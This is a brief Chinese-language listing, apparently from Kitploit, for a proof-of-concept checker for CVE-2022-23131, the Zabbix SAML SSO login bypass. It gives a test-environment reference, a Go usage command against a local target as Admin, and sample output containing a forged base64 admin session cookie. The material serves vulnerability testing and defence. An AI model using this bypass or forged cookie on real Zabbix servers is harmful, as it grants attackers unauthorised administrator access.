CVE-2022-23131 — 针对CVE-2022-23131的概念验证漏洞利用工具，该漏洞是Zabbix SAML SSO认证绕过漏洞。包含环境搭建和基于Go的检查器，用于验证目标是否暴露。 | Kitploit

Zabbix SAML SSO 登录绕过漏洞 CVE-2022-23131

环境和 PoC 用于 CVE-2022-23131

环境

你可以按照 Zabbix 环境搭建用于 CVE-2022-23131 中的步骤创建一个带 SAML SSO 的 Zabbix。

PoC

该 PoC 修改自 jweny

使用方法：

go run poc.go check -t http://localhost:8080 -u Admin

[INFO] 2022/02/24 19:49 vul exist! target: http://localhost:8080, cookie: eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiYmYyMzAxMWU1YWMyOWE1MjFlN2E1ZDZjMTAwZDQ2NjAiLCJzaWduIjoiaytKblhjVjlhQmJRa3NJc21oMVRwVEhrMGFDSTJOYkM1VGNTU1doczQ3YVIrNmpWZ1BKOGw5cWZhZlRmcjA3VGVKalNZcW5kZWRPWEtleklmS0Fjb3c9PSJ9